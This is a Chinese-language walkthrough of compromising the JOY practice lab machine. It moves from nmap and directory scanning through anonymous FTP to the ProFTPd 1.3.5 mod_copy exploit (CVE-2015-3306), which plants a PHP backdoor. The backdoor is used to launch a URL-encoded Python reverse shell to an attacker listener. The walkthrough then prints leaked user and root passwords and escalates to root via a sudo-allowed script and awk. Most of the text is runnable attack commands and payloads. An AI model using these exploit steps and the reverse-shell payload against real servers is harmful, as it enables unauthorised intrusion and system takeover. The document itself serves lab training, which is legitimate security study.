JOY靶机复现

靶机设置

设置靶机为NAT模式

靶机IP发现

nmap 192.168.112.0/24

靶机IP为192.168.112.150

目录扫描

80端口开放

dirsearch 192.168.112.150

访问浏览器

发现ossec目录

点进去查看发现为ossec框架

ftp登陆

尝试匿名登陆

anonymous

空密码

登陆成功

ls查看

发现有一个directory目录

发现无法进去

下载下来进行查看

从Ftp下载的directory文件中有个version_control文件，但是不知道文件内容，看是否可以用ProFTPd的拷贝漏洞将其内容拿到

site cpfr /home/patrick/version_control
site cpto /home/ftp/upload/version_control
quit

查看version_control文件

发现了ProFTPd的版本是proftpd 1.3.5

getshell

在msf中查找对应漏洞

search proftpd 1.3.5

use 0
show options

查看需要配置的选项

发现无法利用

在github中找到一个漏洞，下载下来

https://github.com/t0kx/exploit-CVE-2015-3306

python exploit.py --host 192.168.112.150 --port 21 --path "/var/www/tryingharderisjoy" 

访问浏览器

http://192.168.112.150/backdoor.php?cmd=whoami

发现命令执行成功

进行反弹shell

http://192.168.112.150/backdoor.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.112.130%22,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22])%27

kali开启监听

监听成功

提权

生成交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo -l

发现需要密码

查看文件

patrick:apollo098765
root:howtheheckdoiknowwhattherootpasswordis

发现root用户无法登陆，登陆patrick用户

sudo -l

查看免密操作

echo "awk 'BEGIN {system(\"/bin/bash\")}'" > test
put test

将命令写入test，放到ftp的upload目录下

监听test文件

telnet 192.168.112.150 21
site cpfr /home/ftp/upload/test
site cpto /home/patrick/script/test

sudo /home/patrick/script/test

提权成功